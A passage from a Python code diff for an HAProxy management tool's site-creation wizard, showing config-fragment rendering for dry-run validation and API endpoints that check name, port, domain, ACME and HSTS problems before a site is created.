`code` + `condition`); the generator's + `_format_redirect_rule` reads `scheme` directly. + + Bulgu #29 (round-13 audit) — ACME HTTP-01 challenge defence. + Pre-fix the auto-generated condition was simply ``!{ ssl_fc }`` + (redirect ALL plain-HTTP traffic to HTTPS). On an ssl.mode='acme' + site that combination produced a self-defeating config: + + 1. The wizard creates an HTTP frontend on :80 (mandatory for + HTTP-01). + 2. The wizard also enables the scheme→https redirect on the + same frontend. + 3. The agent emits `acl is_acme_challenge path_beg + /.well-known/acme-challenge/` + `use_backend + _acme_challenge_backend if is_acme_challenge` — BUT + HAProxy processes `redirect` rules BEFORE `use_backend` + in the request-analysis phase. + 4. LE's validator fetches + `http:///.well-known/acme-challenge/` and + the HTTP frontend immediately returns + `301 https:///.well-known/acme-challenge/`. + 5. LE follows the 301 to the HTTPS port — but in ACME mode + the HTTPS frontend is DEFERRED until issuance succeeds + (`_execute_post_completion_actions`). Nothing is listening + on :443 yet, so the follow-up handshake times out and the + order fails with an opaque "fetching … failed" error. + + Fix: render the canonical scheme→https redirect with an extra + `!{ path_beg /.well-known/acme-challenge/ }` clause so the + redirect SKIPS challenge paths and HAProxy falls through to the + `use_backend _acme_challenge_backend` line emitted in the + `use_be` bucket. The exclusion is harmless on non-ACME sites + (no one legitimately probes `/.well-known/acme-challenge/` + on a plain HTTP site, and even if they did the response is + semantically equivalent to a 301-then-404). HAProxy's `if A B` + grammar is an implicit AND, matching the legacy single-clause + behaviour for every non-challenge request. + """ + if payload.frontend.https_redirect: + return [ + { + "type": "scheme", + "scheme": "https", + "code": 301, + "condition": ( + "!{ ssl_fc } " + "!{ path_beg /.well-known/acme-challenge/ }" + ), + } + ] + return list(payload.frontend.redirect_rules or []) + + +# --------------------------------------------------------------------------- +# Phase K Phase C — shared candidate-config synthesizer for the dry-run gate +# --------------------------------------------------------------------------- + + +def _build_candidate_fragment(body: SiteCreate) -> str: + """Render the wizard's would-be entities as a HAProxy config fragment. + + This is the dry-run twin of what + `services/haproxy_config.py::generate_haproxy_config_for_cluster` + would emit if the rows had already been INSERTed. We hand-render + a minimal-but-shape-correct frontend / backend / HTTPS frontend + block from the request body so the dry-run can run + `HAProxyConfigValidator` without DB writes. + + The fragment is intentionally conservative — it covers every + field that affects the validator's heuristic checks (binds, + `default_backend`, `verify required`, ssl `crt`, HSTS / strict- + sni, ACL / use_backend / redirect rules) but not every cosmetic + rendering detail. The agent's `haproxy -c -f` on apply remains + the ultimate source of truth. + """ + from services.haproxy_config import _format_redirect_rule + + fe = body.frontend + be = body.backend + ssl = body.ssl + lines: List[str] = ["", "# ─── Wizard candidate fragment (dry-run preview) ───"] + + # ─── HTTP frontend ──────────────────────────────────────────── + lines.append(f"frontend {fe.name}") + lines.append(f" mode {fe.mode}") + lines.append(f" bind {fe.bind_address}:{fe.bind_port}") + if fe.maxconn: + lines.append(f" maxconn {fe.maxconn}") + if fe.timeout_client: + lines.append(f" timeout client {fe.timeout_client}ms") + if fe.timeout_http_request: + lines.append(f" timeout http-request {fe.timeout_http_request}ms") + if fe.compression: + lines.append(" compression algo gzip") + if fe.monitor_uri: + lines.append(f" monitor-uri {fe.monitor_uri}") + if fe.options: + for raw in fe.options.splitlines(): + stripped = raw.strip() + if stripped: + lines.append(f" {stripped}") + if fe.mode == "tcp" and fe.tcp_request_rules: + for raw in fe.tcp_request_rules.splitlines(): + stripped = raw.strip() + if stripped: + lines.append(f" {stripped}") + # Bulgu #19 (round-9 audit): the wizard's `request_headers` / + # `response_headers` fields carry FULL HAProxy directive lines — + # the operator pastes lines like: + # + # http-request add-header X-Forwarded-Proto https + # http-request set-header X-Real-IP %[src] + # + # (the FrontendManagement / BulkConfigImport UIs both document + # this format in the textarea placeholder, and the real renderer + # at `services/haproxy_config.py:1063-1074` emits each line + # VERBATIM with 4-space indent). + # + # Pre-fix the dry-run twin PREFIXED every line with + # ` http-request set-header` / ` http-response set-header`, + # which produced double-prefixed garbage like: + # + # http-request set-header http-request set-header X-Real-IP … + # + # That broke validator heuristic checks during Step 5 and + # surfaced as misleading "directive may not be valid" warnings on + # configurations that were actually fine. Emitting the lines + # verbatim makes the dry-run preview a true twin of the real + # render path. + if fe.request_headers: + for raw in fe.request_headers.splitlines(): + stripped = raw.strip() + if stripped: + lines.append(f" {stripped}") + if fe.response_headers: + for raw in fe.response_headers.splitlines(): + stripped = raw.strip() + if stripped: + lines.append(f" {stripped}") + for rule in (fe.acl_rules or []): + if isinstance(rule, str) and rule.strip(): + lines.append(f" acl {rule.strip()}") + for rule in _build_redirect_rules(body): + formatted = _format_redirect_rule(rule) + if formatted: + # `_format_redirect_rule` already returns a 4-space-indented + # `redirect …` line. + lines.append(formatted) + for rule in (fe.use_backend_rules or []): + if isinstance(rule, str) and rule.strip(): + lines.append(f" use_backend {rule.strip()}") + lines.append(f" default_backend {be.name}") + + # ─── HTTPS frontend (upload / existing only — ACME's HTTPS bind is + # created post-completion, so we omit it from the dry-run to + # match what create_site would actually persist for ACME) ─── + if ssl.mode in ("upload", "existing"): + https_name = f"{fe.name}{ssl.https_frontend_name_suffix or '-https'}" + cert_path = f"/etc/ssl/haproxy/{(ssl.name or fe.name)}.pem" + bind_parts: List[str] = [ + f"{fe.bind_address}:{ssl.https_bind_port}", + "ssl", + "crt", + cert_path, + ] + if ssl.ssl_alpn: + bind_parts.append(f"alpn {ssl.ssl_alpn}") + if ssl.ssl_min_ver: + bind_parts.append(f"ssl-min-ver {ssl.ssl_min_ver}") + if ssl.ssl_max_ver: + bind_parts.append(f"ssl-max-ver {ssl.ssl_max_ver}") + if ssl.ssl_ciphers: + bind_parts.append(f"ciphers {ssl.ssl_ciphers}") + if ssl.ssl_ciphersuites: + bind_parts.append(f"ciphersuites {ssl.ssl_ciphersuites}") + if ssl.ssl_strict_sni: + bind_parts.append("strict-sni") + if ssl.ssl_verify: + bind_parts.append(f"verify {ssl.ssl_verify}") + lines.append("") + lines.append(f"frontend {https_name}") + lines.append(f" mode {fe.mode}") + lines.append(f" bind {' '.join(bind_parts)}") + if ssl.hsts_enabled: + hsts_parts = [f"max-age={ssl.hsts_max_age}"] + if ssl.hsts_include_subdomains: + hsts_parts.append("includeSubDomains") + if ssl.hsts_preload: + hsts_parts.append("preload") + hsts_value = "; ".join(hsts_parts) + lines.append( + f' http-response set-header Strict-Transport-Security "{hsts_value}"' + ) + for rule in (fe.acl_rules or []): + if isinstance(rule, str) and rule.strip(): + lines.append(f" acl {rule.strip()}") + for rule in (fe.use_backend_rules or []): + if isinstance(rule, str) and rule.strip(): + lines.append(f" use_backend {rule.strip()}") + lines.append(f" default_backend {be.name}") + + # ─── Backend ────────────────────────────────────────────────── + lines.append("") + lines.append(f"backend {be.name}") + lines.append(f" mode {be.mode}") + if be.balance_method: + lines.append(f" balance {be.balance_method}") + if getattr(be, "cookie_name", None): + # Bulgu #19 (round-9 audit): include cookie_options in the + # dry-run so the validator's heuristic that examines the full + # `cookie ` line sees the same string the real + # renderer will produce at apply time. + cookie_line = f" cookie {be.cookie_name} insert indirect nocache" + cookie_opts = (getattr(be, "cookie_options", None) or "").strip() + if cookie_opts and cookie_opts not in ('[]', '{}', 'null', 'None'): + # Strip the canonical defaults already emitted above so we + # don't repeat them when the operator's `cookie_options` + # carries the canonical form too. + cookie_line = f" cookie {be.cookie_name} {cookie_opts}" + lines.append(cookie_line) + if getattr(be, "timeout_connect", None): + lines.append(f" timeout connect {be.timeout_connect}ms") + if getattr(be, "timeout_server", None): + lines.append(f" timeout server {be.timeout_server}ms") + # Bulgu #19 (round-9 audit): mirror the real renderer's emission + # of backend-level header injections so the dry-run can catch any + # operator-typed directive that would only trigger a validator + # warning at apply time (e.g. `option httpchk` accidentally + # pasted into `request_headers` instead of `options`). + if getattr(be, "request_headers", None): + for raw in be.request_headers.splitlines(): + stripped = raw.strip() + if stripped and stripped not in ('[]', '{}', 'null', 'None'): + lines.append(f" {stripped}") + if getattr(be, "response_headers", None): + for raw in be.response_headers.splitlines(): + stripped = raw.strip() + if stripped and stripped not in ('[]', '{}', 'null', 'None'): + lines.append(f" {stripped}") + + for s in body.servers: + server_parts: List[str] = [ + f"server {s.server_name}", + f"{s.server_address}:{s.server_port}", + ] + if s.weight is not None: + server_parts.append(f"weight {s.weight}") + if s.check_enabled: + chk = ["check"] + if s.check_port: + chk.append(f"port {s.check_port}") + if s.inter: + chk.append(f"inter {s.inter}") + if s.fall: + chk.append(f"fall {s.fall}") + if s.rise: + chk.append(f"rise {s.rise}") + server_parts.append(" ".join(chk)) + if s.max_connections: + server_parts.append(f"maxconn {s.max_connections}") + lines.append(f" {' '.join(server_parts)}") + + return "\n".join(lines) + "\n" + + +async def _synthesize_candidate_haproxy_config( + body: SiteCreate, + conn, + *, + entities_already_inserted: bool = False, +) -> str: + """Render the candidate HAProxy config for a wizard payload. + + Two callers, two paths — same helper: + + * `entities_already_inserted=True` (create_site post-insert + validation gate): the wizard's INSERTs are already in the active + transaction, so the cluster's renderer sees them. Just return + the renderer's output. + * `entities_already_inserted=False` (preview dry-run gate): the + INSERTs have not happened. Render the cluster's CURRENT config + and append a candidate fragment derived from `body` so the + validator sees the post-create shape without any DB writes. + + Both paths share this helper so the dry-run gate and the apply + gate can never silently desync. Pinned by + `tests/test_site_wizard_phase_k.py:: + test_phase_k_create_site_and_preview_use_same_synthesis_helper`. + """ + from services.haproxy_config import generate_haproxy_config_for_cluster + + existing = await generate_haproxy_config_for_cluster(body.cluster_id, conn) + if entities_already_inserted: + return existing + return existing + _build_candidate_fragment(body) + + +# --------------------------------------------------------------------------- +# GET /suggest +# --------------------------------------------------------------------------- + + +@router.get("/suggest") +async def suggest_defaults( + cluster_id: int, + domain: Optional[str] = None, + authorization: str = Header(None), +): + """Smart-default suggestions for the wizard form. + + Returns suggested backend/frontend names derived from the first domain + plus a default backend port (80 if user typed an HTTP host, else 8080). + """ + current_user = await get_current_user_from_token(authorization) + if not await _can_use_wizard(current_user["id"], current_user=current_user): + raise HTTPException(status_code=403, detail="Insufficient permissions") + + conn = await get_database_connection() + try: + await _validate_user_cluster_access(current_user["id"], cluster_id, conn) + + slug = "newhost" + if domain: + base = domain.replace("*.", "").split(".") + slug = (base[0] or "newhost")[:32].lower() + slug = "".join(c if (c.isalnum() or c in ("-", "_")) else "-" for c in slug) + if slug.startswith("_"): + slug = "h-" + slug.lstrip("_") + if not slug or not slug[0].isalpha(): + slug = "h-" + slug + + return { + "backend_name": f"be-{slug}", + "frontend_name": f"fe-{slug}", + "https_frontend_name": f"fe-{slug}-https", + "backend_port_suggestion": 8080, + "ssl_certificate_name_suggestion": f"cert-{slug}", + } + finally: + await close_database_connection(conn) + + +# --------------------------------------------------------------------------- +# POST /preflight-acme +# --------------------------------------------------------------------------- + + +@router.post("/preflight-acme") +async def preflight_acme( + body: SitePreflightAcme, + authorization: str = Header(None), +): + """Run pre-create ACME diagnostics for the proposed domains+cluster.""" + current_user = await get_current_user_from_token(authorization) + if not await check_user_permission( + current_user["id"], "ssl", "read", current_user=current_user + ): + raise HTTPException(status_code=403, detail="Insufficient permissions: ssl.read required") + + conn = await get_database_connection() + try: + await _validate_user_cluster_access(current_user["id"], body.cluster_id, conn) + # Phase D/I: canonical action name post-rebrand. The + # _enforce_rate_limit helper auto-aliases this to its legacy + # `proxied_host_acme_preflight` companion so a deploy mid-minute + # cannot bypass the limit. + await _enforce_rate_limit(conn, current_user["id"], "site_acme_preflight") + + account_id = await _resolve_default_acme_account(conn) + if not account_id: + raise HTTPException( + status_code=409, + detail="No valid ACME account exists. Configure Let's Encrypt before using ACME mode.", + ) + + results = await run_checks( + conn, + domains=body.domains, + cluster_ids=[body.cluster_id], + account_id=account_id, + ) + return { + "cluster_id": body.cluster_id, + "domains": body.domains, + "checks": results, + "generated_at": datetime.utcnow().isoformat() + "Z", + } + finally: + await close_database_connection(conn) + + +# --------------------------------------------------------------------------- +# POST /preview +# --------------------------------------------------------------------------- + + +@router.post("/preview") +async def preview_create( + body: SiteCreate, + authorization: str = Header(None), + validate_haproxy_config: bool = False, +): + """Read-only diff preview. Returns the entities that WOULD be created + plus collision warnings. Performs NO writes. + + Phase K Phase C: when `validate_haproxy_config=true` (passed as a + query string parameter to keep the existing `SiteCreate` body + schema untouched), the endpoint additionally synthesises the + candidate HAProxy config via `_synthesize_candidate_haproxy_config` + and runs `HAProxyConfigValidator` over it. The validation result + is returned as a `validation` block inside the same 200 OK + envelope (the response is `200` even when the validation finds + errors — the wizard frontend renders them inline; the actual + `POST /api/sites` is the gate that 422s on errors). + """ + current_user = await get_current_user_from_token(authorization) + if not await _can_use_wizard(current_user["id"], current_user=current_user): + raise HTTPException(status_code=403, detail="Insufficient permissions") + + conn = await get_database_connection() + try: + await _validate_user_cluster_access(current_user["id"], body.cluster_id, conn) + + # Phase K Phase C: rate-limit ONLY the dry-run code path so + # legacy callers (e.g. `SiteDrafts.handlePreview` which never + # sets the flag) keep their unrestricted preview budget. The + # dry-run is much heavier (config render + heuristic + # validator) and is auto-fired on every Step 4 entry — without + # this guard a stuck retry loop in the wizard could hammer the + # validator. Limit matches `_RATE_LIMIT_PER_MIN=5` used by + # preflight_acme. + if validate_haproxy_config: + await _enforce_rate_limit(conn, current_user["id"], "site_previewed") + logger.info( + "WIZARD: dry-run /preview ENTER " + f"user_id={current_user['id']} cluster_id={body.cluster_id} " + f"ssl_mode={body.ssl.mode}" + ) + + warnings: List[str] = [] + + # Phase 4 (R11-audit): preview must surface the same reserved-name + # rule the create endpoint hard-blocks on, so operators see the + # warning UP FRONT (before they invest time filling the wizard + # only to be 400'd at submit). Same reserved set as the + # `body.frontend.name`/`body.backend.name` guards in + # create_site (Phase 3). + _PREVIEW_RESERVED_NAMES = { + "stats", "haproxy-stats", "haproxy_stats", + "monitoring", "admin", "health", "status", + } + if body.frontend.name.lower() in _PREVIEW_RESERVED_NAMES: + warnings.append( + f"Frontend name '{body.frontend.name}' is reserved " + "(collides with HAProxy listen sections like 'listen " + "stats') and will be rejected at create time" + ) + if body.backend.name.lower() in _PREVIEW_RESERVED_NAMES: + warnings.append( + f"Backend name '{body.backend.name}' is reserved " + "(collides with HAProxy listen sections like 'listen " + "stats') and will be rejected at create time" + ) + + # Backend name collision + be_existing = await conn.fetchval( + "SELECT id FROM backends WHERE name=$1 AND cluster_id=$2 AND is_active=TRUE", + body.backend.name, + body.cluster_id, + ) + if be_existing: + warnings.append(f"Backend '{body.backend.name}' already exists in cluster") + + # Frontend name collision + fe_existing = await conn.fetchval( + "SELECT id FROM frontends WHERE name=$1 AND cluster_id=$2 AND is_active=TRUE", + body.frontend.name, + body.cluster_id, + ) + if fe_existing: + warnings.append(f"Frontend '{body.frontend.name}' already exists in cluster") + + # Bind-port collision (HTTP frontend) + # Bulgu #36 (round-15 audit) — collisions are BLOCKING at submit + # time (`create_site` raises 400). Surfacing them as plain + # `warnings` previously left operators wondering whether they + # could proceed; they almost always could NOT. The preview now + # adds the same row to a dedicated `blocking_errors` list AND + # the legacy `warnings` array so existing callers keep working + # while the wizard UI can highlight the blocker explicitly. + blocking_errors: List[str] = [] + bind_collision = await check_bind_port_collision( + conn, + body.cluster_id, + body.frontend.bind_address, + body.frontend.bind_port, + ) + if bind_collision: + # Bulgu #35 (round-15 audit) — same actionable message both + # at preview and at submit. + msg = _explain_bind_collision( + bind_address=body.frontend.bind_address, + bind_port=body.frontend.bind_port, + colliding_frontend_id=bind_collision, + ssl_mode=body.ssl.mode, + is_https=False, + ) + warnings.append(msg) + blocking_errors.append(msg) + + # Bulgu #11 / R12 fix: HTTPS frontend pre-check warnings for ALL + # https-creating modes — upload, existing AND acme. acme used to + # defer this to post-completion; surfacing it as a preview + # warning lets the user fix the conflict before burning an LE + # rate-limit quota. + if body.ssl.mode in ("upload", "existing", "acme"): + https_suffix = body.ssl.https_frontend_name_suffix or "-https" + https_fe_name = f"{body.frontend.name}{https_suffix}" + https_name_existing = await conn.fetchval( + "SELECT id FROM frontends WHERE name=$1 AND cluster_id=$2 AND is_active=TRUE", + https_fe_name, body.cluster_id, + ) + if https_name_existing: + msg = ( + f"HTTPS frontend name '{https_fe_name}' already exists in " + f"cluster (frontend id={https_name_existing}). Adjust " + "ssl.https_frontend_name_suffix or frontend.name; " + "this is a hard block at submit time." + ) + warnings.append(msg) + blocking_errors.append(msg) + https_bind_existing = await check_bind_port_collision( + conn, body.cluster_id, body.frontend.bind_address, body.ssl.https_bind_port, + ) + if https_bind_existing: + msg = _explain_bind_collision( + bind_address=body.frontend.bind_address, + bind_port=body.ssl.https_bind_port, + colliding_frontend_id=https_bind_existing, + ssl_mode=body.ssl.mode, + is_https=True, + ) + warnings.append(msg) + blocking_errors.append(msg) + + # Bulgu #34 (round-15 audit) — cluster-aware ACME port-80 + # reachability preflight at preview time. If the operator + # picked a non-80 bind for ACME, surface immediately whether + # the cluster has another port-80 HTTP frontend that LE can + # land on. Without one, submit will 400 — better to know + # before clicking Create. + if body.ssl.mode == "acme": + acme_reach_err = await _validate_acme_port80_reachable(conn, body) + if acme_reach_err: + warnings.append(acme_reach_err) + blocking_errors.append(acme_reach_err) + + # Bulgu #37 (round-16 audit) — cross-frontend domain ACL + # collision detection. Two sites in the same cluster claiming + # the same Host-header value via separate frontends produce + # ambiguous routing; operators rarely realise this until end + # users hit the wrong backend. Surface every overlap so the + # operator can either de-duplicate the domain list or extend + # the existing frontend instead of creating a new site. + domain_collisions = await _find_cluster_domain_routing_collisions( + conn, body.cluster_id, body.domains, + exclude_frontend_name=body.frontend.name, + ) + for col in domain_collisions: + msg = ( + f"Domain {', '.join(col['conflicting_domains'])} is " + f"already routed by frontend '{col['frontend_name']}' " + f"(id={col['frontend_id']}) in this cluster via ACL: " + f"`{col['acl_rule']}`. Creating a second site for the " + "same host produces ambiguous routing — extend that " + "frontend's `use_backend` rules instead of creating a " + "new site, OR drop the conflicting domain from this " + "wizard." + ) + warnings.append(msg) + blocking_errors.append(msg) + + # Bulgu #38 (round-16 audit) — pending ACME order overlap. + # Detect open Let's Encrypt orders that already cover any of + # the wizard's domains so the operator doesn't burn an LE + # rate-limit quota on a doomed second order. + if body.ssl.mode == "acme": + acme_overlaps = await _find_pending_acme_order_overlap( + conn, body.domains, + ) + for ov in acme_overlaps: + msg = ( + f"Let's Encrypt order id={ov['order_id']} " + f"(status={ov['status']}, created {ov['created_at']}) " + f"already covers domain(s) " + f"{', '.join(ov['overlapping_domains'])}. Issuing a " + "second order for the same domain wastes an LE rate-" + "limit slot and produces a duplicate cert. Wait for " + "the existing order to finalise, OR cancel it via " + f"the LE Orders page, before re-running this wizard." + ) + warnings.append(msg) + blocking_errors.append(msg) + + # Bulgu #39 (round-16 audit) — non-default port URL hint. + # When the wizard's chosen ports differ from 80/443, browsers + # navigating to the bare `http(s)://` won't reach the + # new site. Operators on multi-tenant clusters with the + # default ports already taken routinely don't realise this + # until end-users complain — surface the actual reachable + # URLs prominently. (Informational, not blocking — a non-80 + # bind is sometimes intentional, e.g. for internal-only + # services.) + if ( + body.frontend.bind_port != 80 + or (body.ssl.mode != "none" and body.ssl.https_bind_port != 443) + ): + urls = _describe_reachable_urls(body) + if urls: + warnings.append( + "Non-default port(s) selected — clients must use the " + f"explicit URL(s): {', '.join(urls)}. Browsers do " + "not auto-append non-80/443 ports, so bare " + "http(s):// bookmarks WILL NOT reach this " + "frontend. If you need vanity URLs (port 80 / 443) " + "extend the existing shared frontend on the desired " + "port instead of creating a separate one." + ) + + # Bulgu #40 (round-16 audit) — HSTS includeSubDomains scope. + # `Strict-Transport-Security` with `includeSubDomains` is a + # one-way commitment: browsers cache the decision for max-age + # seconds and refuse to fall back to HTTP for ANY subdomain. + # When the wizard's domain list contains a deep apex (e.g. + # `example.com` rather than `app.example.com`), the lock-in + # affects every existing AND future subdomain in the tree. + # Operators rarely realise the blast radius until an + # unrelated subdomain breaks weeks later. + if ( + body.ssl.mode in ("upload", "existing", "acme") + and getattr(body.ssl, "hsts_enabled", False) + and getattr(body.ssl, "hsts_include_subdomains", False) + ): + apex_like = [ + d for d in (body.domains or []) + if d and not d.startswith("*.") and d.count(".") <= 1 + ] + if apex_like: + warnings.append( + "HSTS includeSubDomains is enabled for apex-like " + f"domain(s) {', '.join(apex_like)}. ALL subdomains " + "of these names will be locked to HTTPS for " + f"max-age={getattr(body.ssl, 'hsts_max_age', 0)}s; " + "browsers refuse HTTP fallback even for subdomains " + "that are not (yet) HTTPS-ready. Drop " + "hsts_include_subdomains if you have non-HTTPS " + "subdomains, or shorten max-age while migrating." + ) + if getattr(body.ssl, "hsts_preload", False): + warnings.append( + "HSTS preload is enabled. Submission to the " + "browser preload list " + "(https://hstspreload.org/) is MANUAL and SLOW to " + "reverse — removal can take months. Confirm the " + "preload-list prerequisites (max-age >= 31536000, " + "includeSubDomains, valid HTTPS for ALL subdomains) " + "before clicking Create." + ) + + # Bulgu #41 (round-16 audit) — server address:port duplication. + # HAProxy accepts two `server 10.0.0.1:80` lines under + # the same backend (it routes them as independent slots), but + # in practice this is almost always a copy/paste typo — the + # second slot adds load to the same upstream while inflating + # health-check traffic and slot accounting. Surface as a soft + # warning (not blocking) — the existing comment in + # reject_duplicate_server_names explicitly notes the address- + # port-duplicate case can be intentional for canary aliases. + if body.servers: + seen_addr_port: dict = {} + dup_pairs: List[str] = [] + for s in body.servers: + key = ( + (s.server_address or "").strip().lower(), + int(s.server_port), + ) + if not key[0]: + continue + if key in seen_addr_port: + dup_pairs.append( + f"{seen_addr_port[key]}+{s.server_name}={key[0]}:{key[1]}" + ) + else: + seen_addr_port[key] = s.server_name + if dup_pairs: + warnings.append( + f"Multiple servers point to the same address:port " + f"({', '.join(dup_pairs)}). HAProxy accepts this " + "but it doubles health-check load and rarely " + "matches intent — if this is a canary alias keep " + "it; otherwise drop the duplicate." + ) + + # preserved_listen_blocks NAME collision check (M43/R60 — name-only, + # NOT bind regex; agent stores names as JSONB array of strings). + preserved_rows = await conn.fetch( + """ + SELECT preserved_listen_blocks + FROM agents a + JOIN haproxy_clusters hc ON hc.pool_id = a.pool_id + WHERE hc.id = $1 AND a.preserved_listen_blocks IS NOT NULL + """, + body.cluster_id, + ) + all_preserved_names = set() + for r in preserved_rows: + raw = r["preserved_listen_blocks"] + try: + names = json.loads(raw) if isinstance(raw, str) else (raw or []) + except json.JSONDecodeError: + names = [] + for name in names: + if isinstance(name, str): + all_preserved_names.add(name.lower()) + if body.backend.name.lower() in all_preserved_names: + warnings.append( + f"Backend name '{body.backend.name}' collides with an agent-preserved listen block" + ) + if body.frontend.name.lower() in all_preserved_names: + warnings.append( + f"Frontend name '{body.frontend.name}' collides with an agent-preserved listen block" + ) + + # ACME mode: ensure account + warn on apply_immediately requirement + if body.ssl.mode == "acme": + # Bulgu #60 (round-20 audit) — preview must validate the + # OPERATOR-PROVIDED account_id, not just the auto-resolved + # default. Pre-fix the preview only ran + # `_resolve_default_acme_account` regardless of whether the + # operator had explicitly chosen an account on the wizard + # form. So if the operator picked an account that has been + # deactivated / revoked since they opened the wizard, the + # preview cheerfully returned `would_create=...` and the + # operator only discovered the dead account at submit time + # (400 from create_site's per-account validity check). + # + # Mirror the create_site validity gate here: + # - explicit account_id → SELECT id, status FROM + # letsencrypt_accounts WHERE id = $1; warn if missing + # or status != 'valid'. + # - no explicit account → fall back to + # `_resolve_default_acme_account` and warn if NULL. + if body.ssl.account_id is not None: + explicit_acc = await conn.fetchrow( + "SELECT id, status FROM letsencrypt_accounts WHERE id = $1", + body.ssl.account_id, + ) + if explicit_acc is None: + warnings.append( + f"ssl.account_id={body.ssl.account_id} not found. " + "Submit will be rejected (400). Pick a different " + "account from Let's Encrypt → Accounts or clear " + "the field to auto-pick the latest valid account." + ) + elif (explicit_acc["status"] or "").lower() != "valid": + warnings.append( + f"ssl.account_id={body.ssl.account_id} has " + f"status='{explicit_acc['status']}' (not 'valid'). " + "Submit will be rejected (400). Re-register or " + "rotate the account, or clear the field to " + "auto-pick the latest valid account." + ) + else: + acc = await _resolve_default_acme_account(conn) + if not acc: + warnings.append( + "ssl.mode='acme' requires at least one valid letsencrypt_accounts row" + ) + # Bulgu #32 (round-13 audit) — surface the cluster-level + # `acme_enabled` flag UP FRONT in preview. The create + # endpoint hard-rejects ssl.mode='acme' on a cluster with + # acme_enabled=false with a 400, because the HAProxy + # config generator only injects the + # `/.well-known/acme-challenge` ACL/use_backend block + # when the flag is true (see haproxy_config.py:975). + # Pre-fix preview returned a clean "would_create" envelope + # in that case and the operator only discovered the + # cluster-level block at submit — sometimes after burning + # several rate-limited preview cycles on a broken config. + # Emit a warning so step 4 of the wizard surfaces the + # block before the operator clicks Create. + cluster_acme_row = await conn.fetchrow( + "SELECT acme_enabled FROM haproxy_clusters WHERE id = $1", + body.cluster_id, + ) + if cluster_acme_row and not cluster_acme_row.get("acme_enabled"): + warnings.append( + f"cluster_id={body.cluster_id} has acme_enabled=false. " + "Submit will be rejected (400) — the cluster's HAProxy " + "config will not route /.well-known/acme-challenge/ " + "requests, so HTTP-01 validation cannot succeed. " + "Enable ACME on this cluster (Cluster Settings → " + "ACME) or switch ssl.mode to upload/existing/none." + ) + + # Bulgu #55 (round-19 audit) — warn when apply_immediately=true + # against a cluster that has zero online agents. + # + # Pre-fix path: + # 1. Wizard inserts backend/server/frontend rows successfully. + # 2. apply_cluster_pending consolidates them into an APPLIED + # config_versions row. + # 3. notify_agents_config_change tries to push to all agents + # — with zero online agents, no agent gets the new config. + # 4. The DB now says the version is APPLIED but the running + # HAProxy nodes have no knowledge of the new site. + # 5. The operator's request returned 200 (everything looked + # fine), but http://newsite.example.com/ returns 404 from + # the unmodified HAProxy node, with no indication WHY. + # + # We can't hard-block (legitimate cause: pre-staged config for a + # maintenance window where agents are intentionally down), so + # surface this as a WARNING. ACME mode is even worse — the LE + # order will be staged but the challenge ACL never lands on any + # HAProxy, the order's HTTP-01 validation fails after 24h and + # the wizard_staged timeout cleanup invalidates it. + if body.apply_immediately: + online_agent_count = await conn.fetchval( + """ + SELECT COUNT(*)::int + FROM agents a + JOIN haproxy_clusters c ON c.pool_id = a.pool_id + WHERE c.id = $1 + AND a.enabled = TRUE + AND a.status = 'online' + """, + body.cluster_id, + ) or 0 + if online_agent_count == 0: + msg = ( + f"cluster_id={body.cluster_id} has 0 online agents. " + "apply_immediately=true will mark the new config " + "version as APPLIED in the database, but no HAProxy " + "node will receive it until at least one agent comes " + "back online and pulls the version. The site will " + "return 404 from the running HAProxy until then." + ) + if body.ssl.mode == "acme": + msg += ( + " ACME mode is especially risky in this state: " + "the LE HTTP-01 challenge cannot be answered " + "while agents are offline, and the order will " + "eventually be invalidated by the wizard_staged " + "24h timeout." + ) + warnings.append(msg) + + # Phase K Phase C: optional HAProxy dry-run validation. We + # synthesise the candidate config, run the heuristic + # validator, and bucket results by severity. A validator + # crash returns `is_valid: null` + `validator_error` (matches + # `create_site`'s non-fatal posture at site_wizard.py:1118- + # 1124). The endpoint always returns HTTP 200 regardless of + # severity — the wizard frontend renders errors inline next + # to the existing `would_create` echo and keeps Create + # disabled while errors are present. The actual gate stays + # `POST /api/sites` itself, which 422s on real errors. + validation_block: Optional[Dict[str, Any]] = None + if validate_haproxy_config: + t0 = time.time() + try: + from utils.haproxy_validator import ( + HAProxyConfigValidator, + ValidationLevel, + ) + candidate = await _synthesize_candidate_haproxy_config( + body, conn, entities_already_inserted=False + ) + # Phase K Phase D follow-up (Bulgu #12): the wizard + # candidate / cluster synthesis intentionally OMITS the + # global+defaults blocks (the agent merges them with + # its local copy on disk at apply time). Pass + # `partial_fragment=True` so the heuristic validator + # suppresses the "Missing 'global' section" WARNING — + # otherwise every dry-run shows a spurious warning + # even though the agent's real `haproxy -c` parse is + # perfectly happy with the merged result. + report = HAProxyConfigValidator().validate_config( + candidate, partial_fragment=True + ) + + def _serialize(r): + return { + "line": getattr(r, "line_number", None), + "section": getattr(r, "section", None), + "message": getattr(r, "message", ""), + "directive": getattr(r, "directive", None), + "suggestion": getattr(r, "suggestion", None), + } + + errs = [_serialize(r) for r in report.results + if r.level == ValidationLevel.ERROR][:50] + warns = [_serialize(r) for r in report.results + if r.level == ValidationLevel.WARNING][:50] + infos = [_serialize(r) for r in report.results + if r.level in (ValidationLevel.INFO, ValidationLevel.SUGGESTION)][:50] + validation_block = { + "is_valid": bool(report.is_valid), + "error_count": int(getattr(report, "error_count", len(errs))), + "warning_count": int(getattr(report, "warning_count", len(warns))), + "errors": errs, + "warnings": warns, + "infos": infos, + } + logger.info( + "WIZARD: dry-run /preview EXIT " + f"user_id={current_user['id']} cluster_id={body.cluster_id} " + f"errors={len(errs)} warnings={len(warns)} " + f"duration_ms={int((time.time() - t0) * 1000)}" + ) + except Exception as val_err: + logger.warning( + "WIZARD: dry-run /preview validator crashed " + f"(non-fatal, user sees `unavailable` state): {val_err}" + ) + validation_block = { + "is_valid": None, + "error_count": 0, + "warning_count": 0, + "errors": [], + "warnings": [], + "infos": [], + "validator_error": str(val_err)[:512], + } + + # R18b audit fix (parity B): preview must echo every wizard + # field that affects the persisted entity / generated HAProxy + # config. Pre-fix the response only echoed the bare name + + # bind tuple, so an operator could see "looks fine" while the + # actual create added (or omitted) ssl_verify, per-server + # ssl_certificate_id (CA bundle), TLS min/max etc. The + # purpose of preview is to BUILD TRUST in what create does; + # asymmetric output defeats it. + # Phase K Phase D (Bulgu #4): full-parity preview payload. + # Pre-fix the wizard returned a minimal subset of fields, so + # an operator who set per-server check timings, backend + # cookie persistence, frontend maxconn, HSTS, or + # ciphersuites had NO visibility on the SiteDrafts preview + # modal that those values would actually be applied. The + # purpose of preview is "show me everything that will land + # on disk so I can audit it before Apply Management". Echo + # every operator-settable field that affects the persisted + # entity / rendered HAProxy config — UI side then picks + # 